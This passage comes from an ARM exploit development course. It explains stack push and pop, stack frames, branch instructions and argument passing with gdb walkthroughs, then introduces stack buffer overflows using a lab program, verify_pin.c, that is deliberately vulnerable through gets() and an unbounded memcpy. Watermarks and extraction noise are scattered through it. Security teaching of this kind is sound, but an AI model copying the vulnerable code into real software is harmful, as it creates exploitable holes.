the SP will shift 12 (0xc) bytes to account for each of the new 32-bit values that have been pushed onto the
stack. The registers r1-r3, will still hold the same values after the push instruction.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 67


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Pop Data off the Stack

09b91222e5d2d3d668cf8e52ec5d35ba
r3 ?
(before)
POP {r3}
r3 0x00000099
(after)

SP 0x00000099
SP Shrink (Pop)

micede1865@wii999_com
The Stack (before) The Stack (after)

24356915 SEC661 | ARM Exploit Development 68

Pop is the opposite of push. When we pop a value off the top of the stack, we move it into the designated
register and shift the SP register so that the stack shrinks by 4 bytes. In the illustration above, we see that after
the ‘pop {r3}’ instruction, the value at the top of the stack 0x99 gets stored in the r3 register and the SP
register gets shifted.
Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

68 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Popping Multiple Registers off the Stack

09b91222e5d2d3d668cf8e52ec5d35ba
r6
r7
?
?
POP {R6, R7, R8}
r6
r7
0x000000aa
0x000000bb
r8 ? r8 0x000000cc
(before) (after)
SP 0x000000aa
0x000000bb Shrink (Pop)
0x000000cc
SP

micede1865@wii999_com
The Stack (before) The Stack (after)

24356915 SEC661 | ARM Exploit Development 69

Just like with push, we can pop multiple values. Similarly, we designate multiple values within braces { } and
the pop instruction will move the top value into the leftmost register and continue working from left to right.
The SP register gets shifted 4 bytes for every register that gets popped. In this example, the top 3 values on the

Paul Erwin
stack get popped into r6, r7, and r8 as specified within the braces of the pop instruction and the SP
register gets shifted 12 bytes (4x3).

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 69


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Data Grows Down in Memory

09b91222e5d2d3d668cf8e52ec5d35ba
• Grow the stack Low Address
• Subtract memory from SP
• Push data onto the stack
Grow (Push)
• Shrink the stack
• Add memory to SP
micede1865@wii999_com
• Pop data off the stack Shrink (Pop)

The stack starts with a high memory address and grows down.

High Address

The Stack

24356915 SEC661 | ARM Exploit Development 70

Now, there is a curveball that we have to wrap our heads around. The stack grows down in memory. It starts
with a high memory address and grows down. This will probably make more sense when we start looking at
stack frames, but for now we need to understand that if we push data onto the stack the SP adjusts by

Paul Erwin
subtracting 4 bytes for each register that gets pushed. This shifts the SP register further way (further down)
from the beginning of the stack. When a value gets popped off the stack, it shrinks up, closer to the original
base address of the stack.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

70 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Subtracting from the Stack Pointer

09b91222e5d2d3d668cf8e52ec5d35ba
• Since the stack grows down,
subtracting from the SP
register will grow the stack
• This is common at the
beginning of a function to SP (0xbefffa4c)

micede1865@wii999_com
make space for the stack
frame
more stack
space

nemo@hammerhead:~$ python SP (0xbefffa68)


Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux Example: stack space
>>> hex(0xbefffa68-0x1c) sub sp, sp, #0x1c
'0xbefffa4c'

24356915 SEC661 | ARM Exploit Development 71

The subtract (sub) instruction is common at the beginning of functions. This is to create some space on the
stack for that function to store local variables. The sample instruction below will subtract 28 (0x1c) from the
stack pointer register and store it back into SP.

sub sp, sp, #28 Paul Erwin


So, if SP=0xbefffa68 and we subtract 0x1c (28) from this value, we get 0xbefffa4c as the new value in SP.
This shifts the SP down in memory, but at the same time grows the stack. As you can see in the illustration, the
stack space has grown as a result of the sub instruction.

Running python in the Linux console is a handy way to do some quick hex math.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbefffa68-0x1c)
'0xbefffa4c'

(notice that 0xbefffa4c is less than 0xbefffa68)


0x4c+0x1c = 0x68
live

© 2021 Hungry Hackers, LLC 71


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Pushing onto the Stack

09b91222e5d2d3d668cf8e52ec5d35ba
• This grows the stack while
lowering the address of the SP Low Address
register
Grow (Push)
• Each register that gets pushed
onto the stack, reduces the SP
micede1865@wii999_com
by 4 bytes
SP

SP
0x00000001
0x00000004
0x00000006
original r7
R1
R2
R3
MOV R1, #1
lr
MOV R2, #4
MOV R3, #6
High Address main
PUSH {R1, R2, R3}

24356915 SEC661 | ARM Exploit Development 72

The sub instruction can quickly adjust the stack pointer register by large amounts. Another way to grow the
stack is by pushing registers onto it. In the illustration, we see values moved into 3 registers and these 3
registers get pushed onto the stack in the ‘push {r1, r2, r3}’ instruction. This pushes the register values

Paul Erwin
onto the stack starting from the right with r3 and working to the left. The SP register gets shifted by
subtracting 4 bytes for each register (12 bytes total in this example). This shift grows the stack space by 12
bytes. The SP gets shifted down in memory, away from the higher addresses.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

72 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The adder Program

09b91222e5d2d3d668cf8e52ec5d35ba
• Calls a function to add
four values
#include <stdio.h>

int adder(int a, int b, int c, int d) {

unsigned int result = a+b+c+d;


• Multiple functions are }
return result;

used within the adder


program 1. main int main(int argc, char *argv[]) {

micede1865@wii999_com
• Each function will get its
own “stack frame”
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;

if (argv[1]) {
2. sscanf (optional) sscanf(argv[1], "%d", &d);
}

3. adder (shown above) result = adder(a,b,c,d);

4. printf printf("Result: %d\n", result);


}

24356915 SEC661 | ARM Exploit Development 73

We are going to walk through a sample program to get familiar with the stack’s functionality. The adder
program can be found in the labs folder, but before we run it and look at things dynamically, let’s go over
some of the things we expect to see. This program calls a function that adds 4 values together and prints the

1. Execute the main function


Paul Erwin
result. Optionally, a value can be provided as a command line parameter.

2. Declare local variables a,b,c,d and result


3. If a command line parameter (argv[1]) is provided, call the sscanf function and store the parameter in
d
4. Call the adder function, passing it a,b,c,d
5. While in the adder function, add a,b,c,d and return it via a local variable named result
6. Call the printf function to display the results
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
By looking at the source code, we can quickly identify the functions in the adder function. There may be
some sub functions that get called from within the sscanf and printf functions, but we can ignore them
and just focus on the functions called by main. In the main function, we see calls to sscanf, adder,
and then printf. When each one of these functions get called, they will create their own stack frame.

live

© 2021 Hungry Hackers, LLC 73


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frames

09b91222e5d2d3d668cf8e52ec5d35ba
• Subsections of the stack #include <stdio.h>

used by functions for local


int adder(int a, int b, int c, int d) {

unsigned int result = a+b+c+d;


storage }
return result;

• Get created by growing int main(int argc, char *argv[]) {


the stack (down)
micede1865@wii999_com unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;

if (argv[1]) {
sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);

printf("Result: %d\n", result);


}

24356915 SEC661 | ARM Exploit Development 74

Stack frames give each function its own sub section of the stack with enough space to work with its local
variables before returning back to the caller function. The stack grows down to create this space, which means
a value will be subtracted from the SP somewhere in the beginning of the called function. The compiler

Paul Erwin
determines how big of a stack frame will be required for each function. This is a set value that doesn’t change
unless changes are made to the source code and the program is recompiled.

Stack frames can also be backtraced, so that you can see the calling functions all the way back to the
beginning of the thread. This concept may be a little clearer if we can visualize the stack frames. To see a
backtrace in gdb, run the “bt” command.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

74 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frame - main

09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>

int adder(int a, int b, int c, int d) {

unsigned int result = a+b+c+d;


return result;
}

int main(int argc, char *argv[]) {

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
PC
unsigned short result = 0;

if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
SP
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}

24356915 SEC661 | ARM Exploit Development 75

The main function has some room of its own on the stack to work with its local variables. In this function, the
a, b, c, d, and result variables are all local stack variables stored in the main stack frame. The
main stack frame has to be big enough to hold each one of these values. As execution proceeds through the

Paul Erwin
main function, it checks to see if a value was provided via the command line. If so, the main function will
call its first function, sscanf.

Here we are representing the location of PC in general terms to show the flow of execution within the
function.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 75


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frame - sscanf

09b91222e5d2d3d668cf8e52ec5d35ba #include <stdio.h>

int adder(int a, int b, int c, int d) { sscanf function is


executing
unsigned int result = a+b+c+d;
return result;
} SP

int main(int argc, char *argv[]) {

sscanf

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
sscanf
unsigned short result = 0; stack frame
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}

24356915 SEC661 | ARM Exploit Development 76

When the sscanf function is called, one of the first things it does will be to adjust the SP down by
subtracting a value from it (in what's known as the function prologue). This value that gets subtracted will
create enough space on the stack for the sscanf stack frame. Like main, sscanf uses its own stack frame

Paul Erwin
to store any local variables it needs while performing its duties.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

76 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frame – Back to main

09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>

int adder(int a, int b, int c, int d) {

unsigned int result = a+b+c+d;


return result;
}

int main(int argc, char *argv[]) {

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;

if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
PC SP
result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}

24356915 SEC661 | ARM Exploit Development 77

At the end of the sscanf function, just before it returns back to main, sscanf adjusts the stack back to
where it was by adding to the SP register. Once it returns back to main, the SP is back to where it was, and
we are once again working within main’s stack frame.

Paul Erwin
Essentially, the stack shifts down to create space (a stack frame) for the called function, and once the called
function returns, SP shifts back to its previous position, and we are back in the caller’s stack frame.

Going back to our example, we see that the next function that gets called is the adder function.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 77


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frame - adder

09b91222e5d2d3d668cf8e52ec5d35ba #include <stdio.h>

int adder(int a, int b, int c, int d) { adder function is


executing
unsigned int result = a+b+c+d;
return result;
}

int main(int argc, char *argv[]) {


SP
adder

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0; stack frame
adder
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}

24356915 SEC661 | ARM Exploit Development 78

The adder function subtracts a value from the SP register in order to give itself space for its stack frame. It
adds the four values and stores the result in a local stack variable called “result” and then returns that value
to the calling function. At the end of the adder function, it does a little bit of housekeeping and adds the

Paul Erwin
same value to SP to shift it back to where it was at the beginning of the function.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

78 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frame – Back to main (again)

09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>

int adder(int a, int b, int c, int d) {

unsigned int result = a+b+c+d;


return result;
}

int main(int argc, char *argv[]) {

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;

if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
SP
result = adder(a,b,c,d);
PC main
main
printf("Result: %d\n", result); stack frame
}

24356915 SEC661 | ARM Exploit Development 79

When the adder function returns, the result is stored in main’s “result” variable and execution continues.
Next, we come to the printf function which will display the result to the screen.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 79


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack Frame - printf

09b91222e5d2d3d668cf8e52ec5d35ba #include <stdio.h>

int adder(int a, int b, int c, int d) { printf function is


executing
unsigned int result = a+b+c+d;
return result;
}
SP
int main(int argc, char *argv[]) {

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0; printf printf
stack frame
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);
main
main
printf("Result: %d\n", result); stack frame
}

24356915 SEC661 | ARM Exploit Development 80

A pattern emerges and we can see how the stack is constantly shifting up and down (actually down and up) as
functions are called. One thing we are not showing in this example are sub functions that may get called from
sscanf or printf. These sub functions would shift the stack the same way.

Paul Erwin
The printf function will behave the same as the other two functions we looked at. It will create space for
its stack frame, perform its duties and then return to main. Shortly after the printf function returns, the
program will exit.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

80 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Branch and Link to adder Function

09b91222e5d2d3d668cf8e52ec5d35ba
• In the main function, R0-R3 get loaded with arguments
via ldr instructions
• The Branch Link (BL) instruction calls the adder
function

micede1865@wii999_com0x000105b8 <+120>: ldr


0x000105bc
0x000105c0
<+124>:
<+128>:
ldr
ldr
r0, [r11, #-20]
r1, [r11, #-16]
r2, [r11, #-12]
0x000105c4 <+132>: ldr r3, [r11, #-24]
0x000105c8 <+136>: bl 0x104f0 <adder>

24356915 SEC661 | ARM Exploit Development 81

If you look at the main function in a disassembler, just before the call (bl) to adder, you see values getting
loaded into r0-r3. These values are offsets to the r11 register. Remember that offsets can be negative
values. In this case, r11 is acting as a “frame pointer” and points to the top (highest) address in our stack

Paul Erwin
frame. By subtracting a specific offset from the frame pointer, we can reference the local variables within our
stack frame. Here it is loading the local variables a (r11 – 20), b (r11 – 16), c (r11-12),
and d (r11-24) into registers r0-r3.

Once the arguments are loaded into registers r0-r3, a bl instruction is executed. The bl or “branch and
link” instruction will first move the address after the bl instruction into the link register (lr). This will be
used to return back to main when the adder function returns. Once the link register is loaded with the
address after bl, execution gets redirected to the operand of the bl instruction, in this case, the adder

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
function.

live

© 2021 Hungry Hackers, LLC 81


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Branching to Functions in ARM

09b91222e5d2d3d668cf8e52ec5d35ba
• Branch (B)
• Usually seen when jumping within the same function
• Branch and Link (BL)
• Branch and copy the address of the next instruction into the Link
Register (LR)

micede1865@wii999_com
• Branch and Exchange (BX)
• Branch and exchange instruction set to either ARM or THUMB
• Branch and Link Exchange (BLX)
When branching to THUMB, you must add +1 to the destination memory address.

24356915 SEC661 | ARM Exploit Development 82

Branching is like “calling” in x86, it is a way to continue execution at a specified target address. Each one of
these B* instruction mnemonics will be followed by a target address to branch or “jump” to. One difference
from x86 is the BX and BLX instructions. These instructions will change the instruction set so that they will be

Paul Erwin
executing the right kind of instructions when they land at the target address.

B – Is just a branch, this is a common instruction to jump to other addresses within the same function.
BL – Branch with Link: Branch and copy the next instruction into LR
BX – Change the instruction set to ARM or THUMB, depending on where you are branching from
BLX – Branch and Link with a change to the instruction set, either ARM or THUMB depending where you are
branching from.

When branching to THUMB, you need to add +1 to the destination memory address. If you see odd numbered
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
instruction pointers when reverse engineering, it is pointing to THUMB instructions. This is important for
attackers to remember when writing or jumping to THUMB code.

Reference:
B: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289863797.htm
BL: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289865686.htm
BX: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289866466.htm
BLX: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289866046.htm
live

82 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Passing More than 4 Arguments

09b91222e5d2d3d668cf8e52ec5d35ba
• If you pass more than 4 arguments, registers R0-R3 are
still used, but additional arguments are passed on the
stack

micede1865@wii999_com
nemo@mako:~/labs/adder/src$ diff adder.c adder_lots.c
<
>
result = adder(a,b,c,d);
result = adder(a,b,c,d,e,f,g,h,i);
| grep "adder(a"

24356915 SEC661 | ARM Exploit Development 83

If we pass 4 arguments or less, we can use registers r0-r3. But what if we need to pass more than 4
arguments to a function? The adder_lots program is similar to the adder program, but instead of 4
arguments, we pass 9. The adder_lots program can be found in the labs/adder folder.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 83


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Function Call with > 4 Arguments

09b91222e5d2d3d668cf8e52ec5d35ba result = adder(a,b,c,d,e,f,g,h,i);

0x00010520 <+96>: ldr r3, [r7, #16]


0x00010522 <+98>: str r3, [sp, #16]
0x00010524 <+100>: ldr r3, [r7, #48]
0x00010526 <+102>: str r3, [sp, #12]
0x00010528 <+104>: ldr r3, [r7, #44] Values getting stored (str)
0x0001052a <+106>: str r3, [sp, #8] at SP+0,4,8,12,16

micede1865@wii999_com 0x0001052c
0x0001052e
0x00010530
0x00010532
<+108>:
<+110>:
<+112>:
<+114>:
ldr
str
ldr
str
r3, [r7, #40]
r3, [sp, #4]
r3, [r7, #36]
r3, [sp, #0]
0x00010534 <+116>: ldr r3, [r7, #32]
0x00010536 <+118>: ldr r2, [r7, #28] Registers R0-R3 get loaded
0x00010538 <+120>: ldr r1, [r7, #24] (ldr)
0x0001053a <+122>: ldr r0, [r7, #20]
Branch Link (BL) to 0x0001053c <+124>: bl 0x10480 <adder>
adder function

24356915 SEC661 | ARM Exploit Development 84

This code snippet is from the main function in the adder_lots binary. In the first part of the snippet, we
see values getting stored on the stack. There is a pattern to how they are stored.

-
#16]) Paul Erwin
A value is loaded into r3. This value is fetched from r7 plus an offset. (Example: ldr r3, [r7,

Next, the value in r3 is stored at sp plus an offset. (Example: str r3, [sp, #16])

This pattern is repeated, and values get stored at: sp+0, sp+4, sp+8, sp+12, and sp+16. Let’s look again at the
function call:

result = adder(a,b,c,d,e,f,g,h,i);

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The arguments loaded onto the stack are e, f, g, h, and i.

In the second part of the snippet, we see registers r0-r3 getting loaded. These are arguments a, b, c,
and d.

If you would like to test this dynamically, in the mako vm we can run the adder_lots program in gdb
and set a breakpoint just inside the adder function,

gef➤ x/5i adder


0x10480 <adder>: push
live {r7}
0x10482 <adder+2>: sub sp, #28
0x10484 <adder+4>: add r7, sp, #0
0x10486 <adder+6>: str r0, [r7, #12]
0x10488 <adder+8>: str r1, [r7, #8]
gef➤ b *0x10480
Breakpoint 1 at 0x10480
gef➤ run

84 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Inside the adder Function (adder_lots binary)

09b91222e5d2d3d668cf8e52ec5d35ba
gef➤ i r
r0 0x1
r1 0x2 Registers R0-R3 hold the
r2 0x3 first 4 arguments.
r3 0x4
r4 0xbefffa98
0xbefffa28 +0x0000: 0x00000005 ← $sp
r5 0x0
0xbefffa2c +0x0004: 0x00000006
r6 0x0
0xbefffa30 +0x0008: 0x00000007
r7 0xbefffa40
0xbefffa34 +0x000c: 0x00000008

micede1865@wii999_com
r8 0x0
0xbefffa38 +0x0010: 0x00000000
r9 0x0
0xbefffa3c +0x0014: 0x00000000
r10 0x7e000
r11 0x0
r12 0xbefffb00 Stack shows arguments 5-9. (9th argument was a zero)
sp 0xbefffa28
lr 0x10541
pc 0x10480 <adder>
We are stopped just
cpsr 0x600f0030 inside the adder function
fpscr 0x0

24356915 SEC661 | ARM Exploit Development 85

If we hit the breakpoint at the very beginning of the adder function inside the adder_lots program, we
will see the following details confirming what we know about how arguments are passed. If we run the info
registers or “i r” for short, we see that registers r0-r3 hold the first four arguments. In contrast, we also see

Paul Erwin
that r4 does not look like a value we are passing as a parameter to be added.

If we dump some words starting at the stack pointer, we see the rest of the arguments that we passed to adder.

gef➤ x/6wx $sp

The stack shows values 5,6,7,8, and 0 at sp+0, sp+4, sp+8, sp+0xc, and sp+0x10.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
result = adder(a,b,c,d,e,f,g,h,i);

The adder function in the adder_lots program knows to accept r0-r3 as its first 4 arguments (a-d) and
then look to the stack to get the next 5 arguments (e-i).

live

© 2021 Hungry Hackers, LLC 85


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Extra: Adder Bug

09b91222e5d2d3d668cf8e52ec5d35ba
• Why do we get the result #include <stdio.h>

int adder(int a, int b, int c, int d) {


of zero? unsigned int result = a+b+c+d;
return result;
}
nemo@mako:~/labs/adder$ ./adder 10
Result: 25
int main(int argc, char *argv[]) {
nemo@mako:~/labs/adder$ ./adder 100

micede1865@wii999_com
Result: 115

nemo@mako:~/labs/adder$ ./adder 9000


Result: 9015
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;

if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
nemo@mako:~/labs/adder$ ./adder 65521
Result: 0 result = adder(a,b,c,d);

printf("Result: %d\n", result);


}

24356915 SEC661 | ARM Exploit Development 86

In the adder program, we can pass a value to the program via the command line, and it gets added to a, b,
and c. But if we add 65521, the result is 0. Why does this happen?

Paul Erwin
nemo@mako:~/labs/adder$ ./adder 65521
Result: 0

Answer: Because the result variable is an unsigned short and can only hold a value up to 65535. Anything
higher than that and it will roll back over starting with 0.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

86 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 3 | Branching

09b91222e5d2d3d668cf8e52ec5d35ba Duration Time: 20 Minutes

When looking for bugs or building out an exploit, it is helpful to be able to read the assembly and understand
what is going on. There are times when you may need to follow a code path through multiple functions. This
lab demonstrates how arguments get passed to other functions.

OBJECTIVES PREPARATION




micede1865@wii999_com
Debugging sample ARM programs in gdb
Observing the ldr and str instructions
Passing arguments to a function
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


• Verifying arguments coming into a function instructions.

Tools used: gdb, gef

24356915 SEC661 | ARM Exploit Development 87

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 87


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 88

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

88 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

Stack Overflows
09b91222e5d2d3d668cf8e52ec5d35ba
Stack overflows are a classic form of memory corruption vulnerability and are a prime
target for attackers. Mitigations are available to prevent these types of bugs from being
exploitable. However, many embedded systems have yet to implement these
micede1865@wii999_com
mitigations, or have implemented them incorrectly. Especially in the world of IoT,
stack-based buffer overflows are still a relevant attack vector. For systems that are
designed to run mostly unnoticed, security is often an afterthought and not a high
priority.

24356915 SEC661 | ARM Exploit Development 89

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 89


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Stack-Based Buffer Overflows

09b91222e5d2d3d668cf8e52ec5d35ba
• Destination buffer is located on the stack
• Overflow occurs when a destination buffer cannot hold
the amount of data being copied into it
• Saved return address is located on the stack just beyond
micede1865@wii999_com
local variables

24356915 SEC661 | ARM Exploit Development 90

Stack-based buffer overflows occur when a buffer cannot hold the data that is being copied into it. This is
usually due to a lack of constraint on the size of the copy action. In stack-based buffer overflows, the
destination buffer is located on the stack, and this can sometimes result in the saved return address (link

Paul Erwin
register) being overwritten. After this occurs, and the function is ready to return, the overwritten saved return
address is popped off of the stack and into PC. Execution is redirected to the value in the input buffer that
overwrote the saved return address.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

90 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Source Code for verify_pin.c (1)

09b91222e5d2d3d668cf8e52ec5d35ba
#define KEY "8675309" bool verify_pin(char *pin) {

int main(int argc, char *argv[]) { char pin_buffer[20];

bool is_locked = true; if (!pin) {


printf("\nPlease enter a pin: ");
is_locked = verify_pin(argv[1]); gets(pin_buffer);
}
if(is_locked) { else {
printf("The door is locked. Try memcpy(pin_buffer, pin, strlen(pin));

micede1865@wii999_com
again\n\n"); pin_buffer[strlen(pin)]='\x00';
} }
else {
printf("Door unlocked!!!\n\n"); printf("\nYou entered: %s\n", pin_buffer);
exit(0);
} if (strcmp(pin_buffer, KEY) == 0)
} return false;
else
main return true;
}

verify_pin

24356915 SEC661 | ARM Exploit Development 91

We are going to analyze a new program called verify_pin. In the source code (verify_pin.c) we see
a main function and a verify_pin function. The main function takes input from the command line
(argv[1]) and passes that input to the verify_pin function.

Paul Erwin
The verify_pin function will copy the provided input (*pin) into a local stack buffer (pin_buffer)
and compare that with a set value “8675309”. If it matches this value, it will return False back to the main
function, but if it does not match, it will return True.

The main function will take the result from verify_pin (either True or False) and store it in a variable
called is_locked. One of two messages will be printed out based on the value of the is_locked
variable.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 91


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Main Function - verify_pin

09b91222e5d2d3d668cf8e52ec5d35ba
Input is provided by the
int main(int argc, char *argv[]) { user on the command line
(argv[1]) and passed into
bool is_locked = true;
the verify_pin function
is_locked = verify_pin(argv[1]);

micede1865@wii999_com
if(is_locked) {
printf("The door is locked. Try again\n\n");
}
else {
printf("Door unlocked!!!\n\n");
exit(0);
}
}

main function main

24356915 SEC661 | ARM Exploit Development 92

The main function takes input from the command line and passes it to the verify_pin function.

The argv[] array is an array of strings passed in from the command line. The first element in the array

Paul Erwin
argv[0] is the program name and the second argument (argv[1]) is the first parameter on the
command line right after the program name.

Notice that there are now size checks on any limitations on this input in the main function.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

92 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Creating the Stack Frame – verify_pin (1)

09b91222e5d2d3d668cf8e52ec5d35ba
bool verify_pin(char *pin) {
The command line input
is passed directly into the
verify_pin function.
char pin_buffer[20];

if (!pin) {
printf("\nPlease enter a pin: ");
gets(pin_buffer);
}
else { verify_pin
memcpy(pin_buffer, pin, strlen(pin)); verify_pin

micede1865@wii999_com
}
pin_buffer[strlen(pin)]='\x00';

printf("\nYou entered: %s\n", pin_buffer);


stack frame

if (strcmp(pin_buffer, KEY) == 0)
return false;
else
return true;
main
main
} stack frame

24356915 SEC661 | ARM Exploit Development 93

The command line input is read in from the command line and then sent directly into the verify_pin
function. Once the verify_pin function is called, it sets up a stack frame which provides the
verify_pin function with its own stack space so that it can store and work with its local variables. So far,

Paul Erwin
we have talked about stack frames, but we haven’t looked at how they get created.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 93


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Creating the Stack Frame – verify_pin (2)

09b91222e5d2d3d668cf8e52ec5d35ba
• Prologue
• Setting up the stack frame

gef➤ disas verify_pin

micede1865@wii999_com
Dump of assembler code for function verify_pin:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0

SP

main

24356915 SEC661 | ARM Exploit Development 94

Let’s take a look at the first few instructions of the verify_pin function in assembly. These instructions
are known as the “prologue”. We don’t see the prologue in the C source code; it is all done behind the scenes.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

94 © 2021 Hungry Hackers, LLC


